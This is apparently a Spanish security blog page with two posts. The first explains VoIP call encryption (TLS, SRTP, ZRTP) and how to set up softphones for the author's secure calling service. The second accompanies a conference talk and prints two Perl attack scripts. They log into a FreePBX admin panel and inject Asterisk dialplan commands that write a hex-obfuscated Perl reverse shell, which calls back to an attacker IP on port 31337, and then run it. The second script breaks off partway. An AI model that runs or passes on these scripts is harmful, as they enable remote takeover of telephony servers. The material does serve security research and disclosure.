Archivo de la categoría: Linux

Sistemas de comunicación seguros

Parece que fue el otro día cuando estuve con mi gran amigo Víctor Seva (@linuxmaniac) dando una charla en la RootedCon sobre sistemas de comunicaciones seguros, y la verdad es que ya han pasado más de 4 años. El vídeo de la conferencia se puede ver aquí:

En la charla se muestra cómo podemos ver un sistema aparentemente seguro y que luego no lo es. La finalidad de este proyecto, o prueba de concepto, no era ofrecer una herramienta al usuario sino concienciarle, es decir, hacerle ver que aunque algo parezca seguro, puede no serlo. De hecho, si buscamos en el Play Store, en el Apple Store o por Internet aplicaciones para mantener comunicaciones de voz seguras, nos vamos a encontrar un montón pero, ¿qué hacen realmente? ¿podemos fiarnos de ellas? Cuando una persona tiene la necesidad de cifrar una comunicación es por algo importante (no confundir con ilegal) y no puede correr riesgos.

4 años más tarde, sí que tengo implementado un sistema para poder realizar llamadas seguras, sin que nadie pueda interceptarlas, escucharlas o grabarlas. Pero si has visto la charla, no te vas a fiar ahora de lo que te diga, ¿verdad? y por eso, antes de hablar del sistema, creo que es necesario entender una serie de conceptos. Cuando alguien tiene la necesidad de mantener una comunicación privada, no puede arriesgarse a usar una aplicación mágica sin entender realmente cómo funciona o cómo se gestionan los datos. Por tanto, creo que el primer paso antes de usar alguna herramienta es entender cómo se cifra una comunicación de voz, qué alcance tiene y cómo podemos verificar si la comunicación está o no cifrada realmente.

VoIP

Vamos a partir de la base de que todas las comunicaciones que vayamos a cifrar van a ser de VoIP, por tanto, tráfico IP que circulará por Internet. A diferencia de un sistema convencional donde se ‘pincha’ una línea física para realizar una escucha, con VoIP, al igual que cualquier otro servicio que funcione a través de redes IP, la interceptación se realiza esnifando o monitorizando datos. Por tanto, nuestros objetivos serán bastante precisos: cifrar las comunicaciones y evitar ataques MitM.

Sin entrar en demasiados detalles técnicos acerca de la VoIP y de los protocolos involucrados en este tipo de infraestructuras, para poder mantener una comunicación realizaremos 2 fases:

Fase de señalización

La misión de la señalización es permitir el intercambio de información entre los diferentes dispositivos o servidores, con la finalidad de que la llamada pueda ser establecida y terminada correctamente. En el caso de la VoIP usaremos el protocolo SIP (también pueden usarse otros, pero SIP es el más extendido). Este protocolo es muy similar al HTTP, donde usaremos una serie de mensajes o métodos para comunicarnos. Aquí podemos ver los más relevantes:

Y obtendremos unos códigos de respuesta:

Como decía, el formato de los mensajes es muy similar al HTTP, donde nos encontramos con una serie de cabeceras y el cuerpo del mensaje:

Añadido al protocolo SIP tenemos el protocolo SDP que ofrece información adicional sobre cómo se va a negociar la comunicación. El SDP se corresponde con el cuerpo del mensaje y se incluye sólo en los métodos cuyo objetivo es establecer una comunicación entre los interlocutores (en este caso es lo que aparece bajo el Content-Length). En la imagen de arriba vemos que se especifica la IP (72.12.135.250) y puerto (27252) para la comunicación RTP de audio, así como los códecs (BV32 Speech, G.729) que el dispositivo soporta. El otro dispositivo contestará con un mensaje OK, también con SDP, donde aparecerá la información de su IP y puertos para el media, así como los códec soportados. Finalmente se comunicarán usando un códec que ambos soporten o, en el peor de los casos, el servidor tendrá que hacer una trascodificación. Como ejemplo imaginemos en un lenguaje humano que una persona habla español e inglés y la otra inglés y francés. Para comunicarse usarán el inglés. Sin embargo si una habla ingles y español y la otra sólo francés, si el servidor soporta ambos idiomas, hará de traductor.

Y la forma de cifrar esta comunicación es utilizando TLS.

Fase media

Se trata de la transmisión de audio, es decir, la comunicación entre los interlocutores una vez se ha negociado cómo se va a realizar la comunicación en la fase anterior. El tráfico se enviará siguiendo el protocolo RTP (sin cifrar) o SRTP (cifrado).

Creo que hasta aquí queda más o menos claro el funcionamiento, pero vamos con las dudas y puntualizaciones:

¿Podemos cifrar una llamada a un móvil o a cualquier otro número de teléfono?

La respuesta es NO.  Para poder realizar una llamada el teléfono IP debe estar conectado a un servidor de VoIP (por ejemplo a una PBX) y si el servidor soporta SRTP, podremos mantener comunicaciones cifradas entre extensiones, es decir, entre dispositivos conectados a esa misma PBX. Pero si necesitamos hablar con un número externo, esa llamada la enrutará el servidor hacia un operador de VoIP mediante un SIP-trunk, y este lo mandará a otro operador o a un wholesale o a un carrier, pero en cualquier caso, cuando salga de nuestro servidor, el tráfico ya no estará cifrado. Por lo que no podemos tener una llamada cifrada si la cursamos a un teléfono externo a nuestro sistema.

Resumiendo, si queremos mantener una comunicación cifrada con otra persona, es primordial que ambos estemos conectados al mismo sistema y usemos un único canal cifrado. En este caso se crea un canal seguro entre nuestro teléfono y nuestro servidor pero luego se utiliza un canal inseguro entre el servidor y el destino (que además pasará por otras infraestructuras de las que no tenemos ningún control). Es decir, no podemos tener un teléfono mágico que nos cifre cualquier llamada que hagamos a cualquier parte.

¿Por qué no puedo establecer una comunicación entre dos teléfonos, sin un servidor de por medio?

La respuesta corta es … por temas de NAT. Si nosotros desde casa conectamos con una página web, nuestro router aplica NAT y la petición se realiza con la IP pública y un puerto asignado por el router. Cuando vienen los datos de vuelta, nuestro router consulta la tabla NAT y sabe a qué dirección IP:puerto privada debe enviar los datos. Por el contrario, en una comunicación con el protocolo SIP todos los datos de conexión vienen encapsulados en el paquete, por lo que el teléfono al construir ese paquete va a poner como IP origen la suya privada y cuando llegue al otro dispositivo, a pesar de que el paquete llegará bien porque el router hará su trabajo, en las cabeceras vendrá la IP privada, que será a la que tratará de responder el otro dispositivo. Y evidentemente, el mensaje de vuelta nunca va a llegar al destino.

Para el caso de la señalización, configurando rutas estáticas en el router y forzando puertos, podemos llegar a redirigir el tráfico, pero tampoco tiene mucho sentido puesto que un servidor de señalización sirve para otras muchas cosas. Por eso mediante mensajes REGISTER el dispositivo indica al servidor dónde se le puede localizar si alguien intenta contactar con él.

Otra opción sería usar SIP ALG que incorporan la mayoría de routers y lo que hace es intentar arreglar las cabeceras y cambiar las IPs locales por la pública, pero esto tiene varios incovenientes:

  • Si usamos cifrado TLS el router ya no tiene acceso al contenido del paquete y, por tanto, no puede alterar los datos.
  • A día de hoy no me encontrato un sólo router que aplique bien SIP ALG y más que arreglar lo que hace es estropear los paquetes.

Y con el media ocurre lo mismo. Si nosotros tuviéramos IPs públicas en nuestros teléfonos, sería posible una comunicación directa entre dos dispositivos, a pesar de que la señalización se realice a través de una PBX. Pero como nuestros dispositivos van a crear el mensaje INVITE rellenando el SDP con una IP:puerto de la red privada, cuando el otro dispositivo trate de responder, no va a llegar nunca el audio. Por eso se requiere de un servidor de relay para el media, cuya función será arreglar estos datos y enviar el tráfico al lugar correcto.

¿Es seguro el protocolo SRTP?

No soy un experto en criptografía pero teóricamente es un protocolo seguro, aunque siempre podemos ser objetivo de un ataque MitM, por lo que aunque la comunicación vaya cifrada, alguien puede interceptarla y descifrar los datos. Además, tal y como se ve en la charla, podemos usar una PBX para desviar el tráfico y generar 2 canales de datos, de forma que haya un canal cifrado entre el servidor y el primer interlocutor y otro canal cifrado entre el servidor y el segundo interlocutor, pero al ser 2 canales diferentes el servidor ve los datos en claro y puede llegar a grabar las conversaciones.

Esto es un problema  por ejemplo si usamos una aplicación que nos permite emitir llamadas cifradas, monitorizamos el tráfico y vemos que realmente va todo cifrado, pero el servidor, que no sabemos ni dónde está ni de quién es, puede estar guardando todas las conversaciones. Por eso no es muy seguro fiarse de las Apps que hay por Internet si no las conocemos bien o no tenemos una fiabilidad de que realmente es segura.

¿Cómo podemos asegurarnos de que nadie hace un MitM en nuestra comunicación?

A pesar de que el cifrado SRTP es seguro, como he comentado antes siempre tenemos la duda de si alguien está realizando un ataque MitM y, por tanto, monitorizando o grabando nuestras conversaciones. Para saber si el canal es realmente seguro podemos usar el protocolo ZRTP. Este protocolo fue diseñado por Phil Zimmermann (creador de PGP) y describe un intercambio de claves Diffie-Hellman para el protocolo SRTP.

En realidad el tráfico va a seguir siendo SRTP, pero tras establecer la comunicación, ambos dispositivos generarán una clave compartida que deberá coincidir. Para ello se eligen dos números públicos y cada interlocutor uno secreto. Tras aplicar una fórmula matemática y realizar una serie de operaciones con los números públicos y cada uno con su secreto, deberá llegarse al mismo resultado.

La verificación será visual, es decir, cada uno de los dispositivos verá en su pantalla la clave generada y que deberá ser la misma. En otro caso, estaremos sufriendo un ataque MitM.

El uso de este protocolo no influye en las configuraciones de nuestro servidor sino que es una negociación entre los dos teléfonos.

Sistema de comunicaciones seguro

Tras toda esta charla creo que podemos sacar en claro que para establecer una comunicación segura lo mejor es tener nuestro propio sistema y no tener que fiarnos de terceros, pero si hay que usar un sistema externo, deberemos:

  • Asegurarnos de que se cifra la señalización usando TLS. Esto implica que tanto el servidor como los clientes soporten TLS.
  • Asegurarnos de que se cifra el media usando SRTP. Esto implica que tanto el servidor como los clientes soporten SRTP.
  • Asegurarnos de que sólo hay una canal y que va cifrado de extremo a extremo, sin que nadie esté en medio y que el servidor no pueda tampoco almacenar las comunicaciones. Y para ello usaremos ZRTP. Esto implica que ambos clientes soporten ZRTP.

Como posibles soluciones tenemos por ejemplo Signal (antes Red Phone) del más que conocido Moxie Marlinspike. Si echáis un vistazo al proyecto o a la descripción en el Play Store de Google, hay comentarios que te hacen pensar sobre todo esto. Me refiero a referencias al código fuente como prueba de que puedes fiarte de él y de que no se hace nada malo ni se graban las conversaciones. Y esto es debido a que, como comentaba antes, se necesita un servidor de relay para poder establecer la comunicación de audio y, evidentemente el servidor es suyo. Lo mismo que ocurre con mi proyecto. La diferencia es que Moxie ha desarrollado la App para móvil y aquí es donde tiene que convencernos de que no hay nada extraño, ya que la negociación Diffie-Hellman se realiza entre los dispositivos, en este caso desde su App, y siempre puede darse el caso de que los códigos que nos muestra por pantalla no sean los derivados de la negociación sino que hayan sido alterados. De ahí a que publique el código fuente y ponga referencias para que se pueda ver y podamos fiarnos. en cualquier caso, Moxie es de fiar, ¿no?  🙂

Para mi proyecto yo no tengo ninguna App sino que he usado Softphones gratuitos que soportan ZRTP, que no hay muchos, la verdad. Por ejemplo para Android se puede utilizar CSipSimple y para Escritorio (Linux, Mac OS X y Windows) tenemos Jitsi.

Vamos al lío

Para el proyecto he usado solamente un servidor proxy Kamailio cuya función es la de gestionar y enrutar las comuncaciones (señalización) y además usa RTPProxy como servidor media para el audio.

Los únicos datos que se piden para usar el servicio son:

  • Un nombre de usuario: será nuestro identificador en el sistema y a donde habrá que llamar para hablar contigo. Por ejemplo mi usuario es ‘pepelux’ (*)
  • Una dirección de correo electrónico: donde se enviarán los datos de registro

(*) En VoIP no es necesario llamar a un número de teléfono. Se llama a un usuario, por lo que en lugar de poner un nuestro número de teléfono, es posible poner cualquier nombre (esto es otra cosa que no me gusta del servicio de Moxie, que tienes que poner tu número de teléfono móvil real y te mandan un SMS para verificarlo).

Para darte de alta debes entrar en http://voip.pepelux.org/ … sí, lo sé, debería tener un certificado SSL, pero no me da la vida :'( … y rellenar los datos en New User. Te llegará un mail con la contraseña y un link de activación.

Con estos datos deberás configurar tu softphone para conectar con el sistema y poder hacer llamadas a otros usuarios que también se hayan dado de alta.

Configurando CSipSimple en nuestro Android

Si queremos usar CSipSimple podemos instalarlo desde el Play Store y seguir el asistente para crear una cuenta. Para ello seleccionaremos Expert dentro del asistente genérico. y rellenaremos los siguientes datos:

  • Nombre de la cuenta: Secure Call (o lo que quereamos poner ya que es una simple descripción para identificar la cuenta)
  • ID de la cuenta: TU_USER <sip:TU_USER@voip.pepelux.org>
  • URI de registro: sip:TU_USER@voip.pepelux.org:5061
  • Nombre de usuario:TU_USER
  • Contraseña:TU_PASS
  • Protocolo de transporte: TLS
  • Esquema uri por defecto: sips
  • Modo SRTP: Por defecto
  • Modo ZRTP: Crear ZRTP

Es importante para que funcione que, en los ajustes generales de la aplicación, pinchemos en Red -> Protocolo de transporte seguro y habilitar el TLS.

Configurando Jitsi

Jitsi tienes diferentes aplicaciones como el Jitsi Meet pero la que nos interesa es la de escritorio. Tenemos versiones para Windows, Linux y Mac OS X que podemos descargar aquí: https://jitsi.org/downloads/

Las opciones de seguridad para el media vienen habilitadas por defecto pero sí que deberemos especificar que en la señalización use TLS. Para ello, una vez creada la cuenta, la editaremos y cambiaremos los parámetros de conexión activando un proxy:

Otra opción sería cargar directamente el certificado en el softphone.

Si realizamos una llamada de prueba, por ejemplo desde un Jitsi a un CSipSimple, sólo debemos marcar el nombre de usuario, en este caso llamo desde un usuario ‘oficina’ configurado en el escritorio a un usuario ‘pepelux’ configurado en un Android:

Vemos que al entrar la llamada, la señalización va por TLS, por lo que viene cifrada:

Y una vez establecida la comunicación, tras descolgar, podemos comprobar la clave generada, en este caso yfmj:

En el Jitsi realizamos la misma comprobación. Por un lado, al emitir la llamada vemos que se usa ZRTP:

Y tras descolgar, al igual que en el otro extremo, debemos ver el mismo código:

Tras la comprobación de claves (donde un usuario le dirá al otro el texto que le aparece y deberá confirmarnos que es el mismo que él tiene) podemos asegurar que la llamada queda cifrada de extremo a extremo y que no hay nadie en medio.

Sobre el servicio

Este servicio es totalmente gratuito y bueno, no deja de ser un juguete que he montado para aprender y cacharrear, aunque es totalmente funcional y seguro. Como se puede ver, no se solicita ningún tipo de información para poderlo usar por lo que eres libre de utilizarlo. Si alguien tiene interés en conocer detalles más técnicos, no tiene más que preguntarme.

Y por cierto, si algún programador de dispositivos móviles se anima en hacer una App, podemos hacer un proyecto chulo 🙂

Saludos !

FreePBX for Fun & Profit

Hace unos días salió publicado el vídeo de mi charla en la RootedCon 2013, sobre un análisis de seguridad en plataformas basadas en Asterisk del tipo FreePBX, Elastix o Trixbox. Lo podéis ver aquí:

FreePBX for Fun & Profit

Los slides se pueden ver o descargar en Slideshare:
freepbx-slides

Y los dos scripts usados durante la charla:

Primer script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
#use LWP::Debug qw(+);

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";

#print "\e[2J";
#system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
                         "u=s" => \$user,
                         "ip=s" => \$ip,
                         "port=s" => \$port,
                         "p=s" => \$pass,
                         "cli=s" => \$cli,
                         "ext=s" => \$ext,
                         "cs+" => \$create,
                         "es+" => \$execute);

if ($h eq 1 || $host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
	Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url =  "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
	my $res = asterisk_cli($cli);
	print "$res\n";
}

if ($create eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($sc1);
	asterisk_cli($sc2);
	asterisk_cli($sc3);
	asterisk_cli($sc4);
	asterisk_cli($sc5);
	asterisk_cli($sc6);
	asterisk_cli($sc7);
	asterisk_cli($sc8);
	asterisk_cli($sc9);
	asterisk_cli($sc10);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

if ($execute eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($se1);
	asterisk_cli($se2);
	asterisk_cli($se3);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

exit;

sub asterisk_cli {
	my $command = shift;

	@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
		Content => [ txtCommand => $command ]);

	my $response = $ua->post($url, @header);
	my $result = $response->content;

	my	$x = index($result, "<pre>") + 5;
	my	$y = index($result, "</pre>");
	$result = substr($result, $x, $y-$x);

	return $result;
}

sub encode {
	my $data = shift;

	$data =~ s/3/\\\\x33/g;
	$data =~ s/1/\\\\x31/g;
	$data =~ s/2/\\\\x32/g;
	$data =~ s/4/\\\\x34/g;
	$data =~ s/5/\\\\x35/g;
	$data =~ s/6/\\\\x36/g;
	$data =~ s/7/\\\\x37/g;
	$data =~ s/8/\\\\x38/g;
	$data =~ s/9/\\\\x39/g;
	$data =~ s/\./\\\\x2e/g;

   return $data;
}

sub help {
	print qq{
:: FreePBX for fun & profit - by Pepelux ::
   -------------------------------------

Uso:  $0 -h <host> -u <user> -p <pass> [opciones]

    == Opciones ==
      -cli <commando>  = Ejecutar comando de Asterisk
      -cs              = Crear una shell
      -es              = Ejecutar una shell
      -ip              = Nuestra IP para la shell (para -cs)
      -port            = Puerto para la shell (por defecto: 31337)
      -ext             = Extension a crear (por defecto: 999)

    == Ejemplos ==
      $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
      $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -port 31337
      $0 -h 192.168.1.1 -u admin -p 12345 -es
	};

	print "\n";
	exit 1;
}

Segundo script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
#use LWP::Debug qw(+);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
my $call = 0;
my $euser = "";
my $epass = "";
my $auto = 0;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
 "u=s" => \$user,
 "ip=s" => \$ip,
 "port=s" => \$port,
 "p=s" => \$pass,
 "cli=s" => \$cli,
 "ext=s" => \$ext,
 "call+" => \$call,
 "user=s" => \$euser,
 "pass=s" => \$epass,
 "cs+" => \$create,
 "es+" => \$execute,
 "auto+" => \$auto);

if ($host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0 && $auto eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
if ($call eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

if ($auto eq 1) {
 $create = 1;
 $execute = 1;
}

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

my $origip = $ip;

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

